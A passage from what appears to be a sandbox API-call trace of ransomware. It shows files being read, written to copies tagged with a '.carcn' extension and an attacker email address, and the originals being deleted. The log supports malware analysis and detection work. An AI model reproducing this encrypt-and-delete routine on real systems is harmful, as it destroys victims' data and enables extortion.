Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0268.203] lstrlenW (lpString=".1cd") returned 4 [0268.203] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0268.203] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0268.203] lstrlenW (lpString=".jpg") returned 4 [0268.203] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0268.203] lstrcmpiW (lpString1=".0_144\\lib\\security\\cacerts", lpString2=".carcn") returned -1 [0268.203] lstrlenW (lpString="cacerts") returned 7 [0268.203] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0268.204] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=114923) returned 1 [0268.204] CloseHandle (hObject=0x558) returned 1 [0268.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts")) returned 0x20 [0268.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0268.205] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0268.205] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0268.205] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0268.205] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0268.212] GetLastError () returned 0x0 [0268.212] ReadFile (in: hFile=0x558, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x1c0eb, lpOverlapped=0x0) returned 1 [0268.228] WriteFile (in: hFile=0x55c, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x1c0f0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x1c0f0, lpOverlapped=0x0) returned 1 [0268.231] ReadFile (in: hFile=0x558, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0268.231] WriteFile (in: hFile=0x55c, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0xe2, lpOverlapped=0x0) returned 1 [0268.232] SetEndOfFile (hFile=0x55c) returned 1 [0268.232] CloseHandle (hObject=0x55c) returned 1 [0268.237] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0268.237] SetEndOfFile (hFile=0x558) returned 1 [0268.243] CloseHandle (hObject=0x558) returned 1 [0268.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0268.244] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts")) returned 1 [0268.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0268.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0268.245] lstrlenW (lpString=".doc") returned 4 [0268.245] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1 [0268.245] lstrlenW (lpString=".docx") returned 5 [0268.245] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1 [0268.245] lstrlenW (lpString=".pdf") returned 4 [0268.245] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1 [0268.245] lstrlenW (lpString=".xls") returned 4 [0268.245] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1 [0268.245] lstrlenW (lpString=".xlsx") returned 5 [0268.245] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1 [0268.245] lstrlenW (lpString=".ppt") returned 4 [0268.245] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1 [0268.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0268.245] lstrlenW (lpString=".zip") returned 4 [0268.245] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1 [0268.245] lstrlenW (lpString=".rar") returned 4 [0268.245] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1 [0268.245] lstrlenW (lpString=".bz2") returned 4 [0268.245] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1 [0268.246] lstrlenW (lpString=".7z") returned 3 [0268.246] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1 [0268.246] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0268.246] lstrlenW (lpString=".dbf") returned 4 [0268.246] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1 [0268.246] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0268.246] lstrlenW (lpString=".1cd") returned 4 [0268.246] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1 [0268.246] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0268.461] lstrlenW (lpString=".jpg") returned 4 [0268.461] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1 [0268.461] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0268.461] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0268.461] lstrlenW (lpString=".doc") returned 4 [0268.461] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1 [0268.461] lstrlenW (lpString=".docx") returned 5 [0268.461] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1 [0268.461] lstrlenW (lpString=".pdf") returned 4 [0268.461] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1 [0268.461] lstrlenW (lpString=".xls") returned 4 [0268.461] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1 [0268.461] lstrlenW (lpString=".xlsx") returned 5 [0268.461] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1 [0268.461] lstrlenW (lpString=".ppt") returned 4 [0268.461] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1 [0268.461] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0268.461] lstrlenW (lpString=".zip") returned 4 [0268.461] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1 [0268.461] lstrlenW (lpString=".rar") returned 4 [0268.461] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1 [0268.461] lstrlenW (lpString=".bz2") returned 4 [0268.461] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1 [0268.461] lstrlenW (lpString=".7z") returned 3 [0268.462] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1 [0268.462] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0268.462] lstrlenW (lpString=".dbf") returned 4 [0268.462] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1 [0268.462] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0268.462] lstrlenW (lpString=".1cd") returned 4 [0268.462] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1 [0268.462] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0268.462] lstrlenW (lpString=".jpg") returned 4 [0268.462] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1 [0268.462] lstrcmpiW (lpString1=".policy", lpString2=".carcn") returned 1 [0268.462] lstrlenW (lpString="javaws.policy") returned 13 [0268.462] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0268.891] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=98) returned 1 [0268.892] CloseHandle (hObject=0x55c) returned 1 [0268.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy")) returned 0x20 [0268.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0268.892] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0268.892] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0268.892] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0268.893] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0269.173] GetLastError () returned 0x0 [0269.173] ReadFile (in: hFile=0x55c, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x62, lpOverlapped=0x0) returned 1 [0269.174] WriteFile (in: hFile=0x548, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x70, lpOverlapped=0x0) returned 1 [0269.175] ReadFile (in: hFile=0x55c, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0269.175] WriteFile (in: hFile=0x548, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0xee, lpOverlapped=0x0) returned 1 [0269.175] SetEndOfFile (hFile=0x548) returned 1 [0269.176] CloseHandle (hObject=0x548) returned 1 [0269.176] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0269.176] SetEndOfFile (hFile=0x55c) returned 1 [0269.193] CloseHandle (hObject=0x55c) returned 1 [0269.193] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0269.193] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy")) returned 1 [0269.194] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0269.194] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0269.194] lstrlenW (lpString=".doc") returned 4 [0269.194] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1 [0269.194] lstrlenW (lpString=".docx") returned 5 [0269.194] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1 [0269.194] lstrlenW (lpString=".pdf") returned 4 [0269.194] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1 [0269.194] lstrlenW (lpString=".xls") returned 4 [0269.194] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1 [0269.194] lstrlenW (lpString=".xlsx") returned 5 [0269.194] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1 [0269.194] lstrlenW (lpString=".ppt") returned 4 [0269.194] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1 [0269.194] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0269.194] lstrlenW (lpString=".zip") returned 4 [0269.194] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1 [0269.195] lstrlenW (lpString=".rar") returned 4 [0269.195] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1 [0269.195] lstrlenW (lpString=".bz2") returned 4 [0269.195] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1 [0269.195] lstrlenW (lpString=".7z") returned 3 [0269.195] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1 [0269.195] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0269.195] lstrlenW (lpString=".dbf") returned 4 [0269.195] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1 [0269.195] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0269.195] lstrlenW (lpString=".1cd") returned 4 [0269.195] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1 [0269.195] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0269.195] lstrlenW (lpString=".jpg") returned 4 [0269.195] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1 [0269.195] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0269.195] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0269.195] lstrlenW (lpString=".doc") returned 4 [0269.195] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1 [0269.195] lstrlenW (lpString=".docx") returned 5 [0269.195] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1 [0269.195] lstrlenW (lpString=".pdf") returned 4 [0269.195] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1 [0269.195] lstrlenW (lpString=".xls") returned 4 [0269.195] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1 [0269.196] lstrlenW (lpString=".xlsx") returned 5 [0269.196] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1 [0269.196] lstrlenW (lpString=".ppt") returned 4 [0269.196] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1 [0269.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0269.196] lstrlenW (lpString=".zip") returned 4 [0269.196] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1 [0269.196] lstrlenW (lpString=".rar") returned 4 [0269.196] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1 [0269.196] lstrlenW (lpString=".bz2") returned 4 [0269.196] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1 [0269.196] lstrlenW (lpString=".7z") returned 3 [0269.196] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1 [0269.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0269.196] lstrlenW (lpString=".dbf") returned 4 [0269.196] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1 [0269.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0269.196] lstrlenW (lpString=".1cd") returned 4 [0269.196] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1 [0269.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0269.196] lstrlenW (lpString=".jpg") returned 4 [0269.196] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1 [0269.196] lstrcmpiW (lpString1=".0_144\\lib\\tzmappings", lpString2=".carcn") returned -1 [0269.197] lstrlenW (lpString="tzmappings") returned 10 [0269.197] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0269.197] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=8400) returned 1 [0269.197] CloseHandle (hObject=0x55c) returned 1 [0269.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings")) returned 0x20 [0269.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0269.198] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0269.198] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0269.198] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0269.198] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0269.199] GetLastError () returned 0x0 [0269.199] ReadFile (in: hFile=0x55c, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x20d0, lpOverlapped=0x0) returned 1 [0269.782] WriteFile (in: hFile=0x548, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x20e0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x20e0, lpOverlapped=0x0) returned 1 [0269.792] ReadFile (in: hFile=0x55c, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0269.792] WriteFile (in: hFile=0x548, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0xe8, lpOverlapped=0x0) returned 1 [0269.792] SetEndOfFile (hFile=0x548) returned 1 [0269.798] CloseHandle (hObject=0x548) returned 1 [0269.801] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0269.801] SetEndOfFile (hFile=0x55c) returned 1 [0270.212] CloseHandle (hObject=0x55c) returned 1 [0270.212] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0270.215] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings")) returned 1 [0270.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0270.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0270.217] lstrlenW (lpString=".doc") returned 4 [0270.217] lstrcmpiW (lpString1=".doc", lpString2="ings") returned -1 [0270.217] lstrlenW (lpString=".docx") returned 5 [0270.217] lstrcmpiW (lpString1=".docx", lpString2="pings") returned -1 [0270.218] lstrlenW (lpString=".pdf") returned 4 [0270.218] lstrcmpiW (lpString1=".pdf", lpString2="ings") returned -1 [0270.218] lstrlenW (lpString=".xls") returned 4 [0270.218] lstrcmpiW (lpString1=".xls", lpString2="ings") returned -1 [0270.218] lstrlenW (lpString=".xlsx") returned 5 [0270.218] lstrcmpiW (lpString1=".xlsx", lpString2="pings") returned -1 [0270.218] lstrlenW (lpString=".ppt") returned 4 [0270.218] lstrcmpiW (lpString1=".ppt", lpString2="ings") returned -1 [0270.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0270.218] lstrlenW (lpString=".zip") returned 4 [0270.218] lstrcmpiW (lpString1=".zip", lpString2="ings") returned -1 [0270.218] lstrlenW (lpString=".rar") returned 4 [0270.218] lstrcmpiW (lpString1=".rar", lpString2="ings") returned -1 [0270.218] lstrlenW (lpString=".bz2") returned 4 [0270.218] lstrcmpiW (lpString1=".bz2", lpString2="ings") returned -1 [0270.218] lstrlenW (lpString=".7z") returned 3 [0270.218] lstrcmpiW (lpString1=".7z", lpString2="ngs") returned -1 [0270.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0270.218] lstrlenW (lpString=".dbf") returned 4 [0270.218] lstrcmpiW (lpString1=".dbf", lpString2="ings") returned -1 [0270.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0270.218] lstrlenW (lpString=".1cd") returned 4 [0270.218] lstrcmpiW (lpString1=".1cd", lpString2="ings") returned -1 [0270.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0270.218] lstrlenW (lpString=".jpg") returned 4 [0270.219] lstrcmpiW (lpString1=".jpg", lpString2="ings") returned -1 [0270.219] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0270.219] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0270.219] lstrlenW (lpString=".doc") returned 4 [0270.219] lstrcmpiW (lpString1=".doc", lpString2="ings") returned -1 [0270.219] lstrlenW (lpString=".docx") returned 5 [0270.219] lstrcmpiW (lpString1=".docx", lpString2="pings") returned -1 [0270.219] lstrlenW (lpString=".pdf") returned 4 [0270.219] lstrcmpiW (lpString1=".pdf", lpString2="ings") returned -1 [0270.219] lstrlenW (lpString=".xls") returned 4 [0270.219] lstrcmpiW (lpString1=".xls", lpString2="ings") returned -1 [0270.219] lstrlenW (lpString=".xlsx") returned 5 [0270.219] lstrcmpiW (lpString1=".xlsx", lpString2="pings") returned -1 [0270.219] lstrlenW (lpString=".ppt") returned 4 [0270.219] lstrcmpiW (lpString1=".ppt", lpString2="ings") returned -1 [0270.219] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0270.219] lstrlenW (lpString=".zip") returned 4 [0270.219] lstrcmpiW (lpString1=".zip", lpString2="ings") returned -1 [0270.219] lstrlenW (lpString=".rar") returned 4 [0270.219] lstrcmpiW (lpString1=".rar", lpString2="ings") returned -1 [0270.219] lstrlenW (lpString=".bz2") returned 4 [0270.219] lstrcmpiW (lpString1=".bz2", lpString2="ings") returned -1 [0270.219] lstrlenW (lpString=".7z") returned 3 [0270.220] lstrcmpiW (lpString1=".7z", lpString2="ngs") returned -1 [0270.220] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0270.220] lstrlenW (lpString=".dbf") returned 4 [0270.220] lstrcmpiW (lpString1=".dbf", lpString2="ings") returned -1 [0270.220] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0270.220] lstrlenW (lpString=".1cd") returned 4 [0270.220] lstrcmpiW (lpString1=".1cd", lpString2="ings") returned -1 [0270.220] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0270.220] lstrlenW (lpString=".jpg") returned 4 [0270.220] lstrcmpiW (lpString1=".jpg", lpString2="ings") returned -1 [0270.220] lstrcmpiW (lpString1=".MID", lpString2=".carcn") returned 1 [0270.220] lstrlenW (lpString="EAST_01.MID") returned 11 [0270.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0270.222] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=6165) returned 1 [0270.222] CloseHandle (hObject=0x54c) returned 1 [0270.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid")) returned 0x220 [0270.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0270.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 